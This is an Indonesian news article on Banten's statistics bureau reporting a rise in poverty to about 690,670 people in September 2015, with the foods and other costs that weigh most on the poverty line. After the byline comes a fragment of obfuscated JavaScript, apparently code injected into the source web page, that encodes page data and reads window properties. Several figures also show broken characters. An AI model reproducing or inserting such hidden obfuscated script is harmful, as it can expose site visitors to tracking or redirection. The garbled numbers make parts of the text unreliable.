Banten – Badan Pusat Statistik Provinsi Banten menyatakan, sampai September 2015 lalu, jumlah penduduk miskin di Provinsi Banten mengalami peningkatan jika dibandingkan tahun sebelumnya, yaitu sebanyak 690,67A� jiwa.

Berdasarkan data dari Badan Pusat Statistik (BPS) Provinsi Banten, pada September 2014, jumlah penduduk miskin sebanyak 649,19 ribu jiwa, sedangkan di periode yang sama pada 2015 naik menjadi 690,67A� niwa.

“Pada Maret 2015, jika dilihat dari September 2014, jumlah penduduk miskin mengalami kenaikan yang cukup besar, yaitu sebanyak 702,40 ribu jiwa, pada September 2015 mengalami penurunan,” kata Kepala BPS Provinsi Bante Syech Suhaimi, Senin, 4 Januari 2016.

Menurut Syech, penyumbang kemiskinan adalah komoditas makanan, yakni beras, dan daging ayam ras. Komoditas ini menyumbang kemiskinan lebih besar ketimbang komponen perumahan, sandang, pendidikan, dan kesehatan.

Menurutnya, pada September 2015, lima komoditi makanan penyumbang terbesar kemiskinan di daerah perkotaan yaitu, beras sebesar 18,09 persen, rokok kretek filter sebanyak 11,78 persen, telur ayam ras sebanyak 3,55 persen, daging ayam ras sebesar 3,06 persen, dan terakhir mie instan sebesar 3,91 persen.

Sedangkan komiditi makanan penyumbang terbesar terhadap garis kemiskinan didaerah pedesaan, lanjut Syech, yaitu, beras sebesar 30,09 persen, rokok kretek filter sebesar 8,73 persen, telur ayam ras sebesar 3,32 persen, kopi bubuk dan kopi instan sebanyak 2,81 persen, dan mie instan sebanyak 2,73 persen.

Sedangkan dari komoditi bukan makanan yang memberi sumbangan terbesar untuk garis kemiskinan baik di perkotaan maupun di pedesaan adalah biaya perumahan, sebesar 10,54 persen, bensin sebesar 3,78 persen, listrik 2,83 persen, pendidikan 2,54 persen.

“Untuk komoditi kelima terdapat perbedaan antara pedesaan dsn perkotaan. Diperkotaan komoditi terakhir penyumbang terbesar garis kemiskinan yaitu angkutan sebesar 1,39 persen, sedangkan di pedesaan adalah kayu bakar sebesar 1,06 persen,” kata Syech. (Bay/Sie) 4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}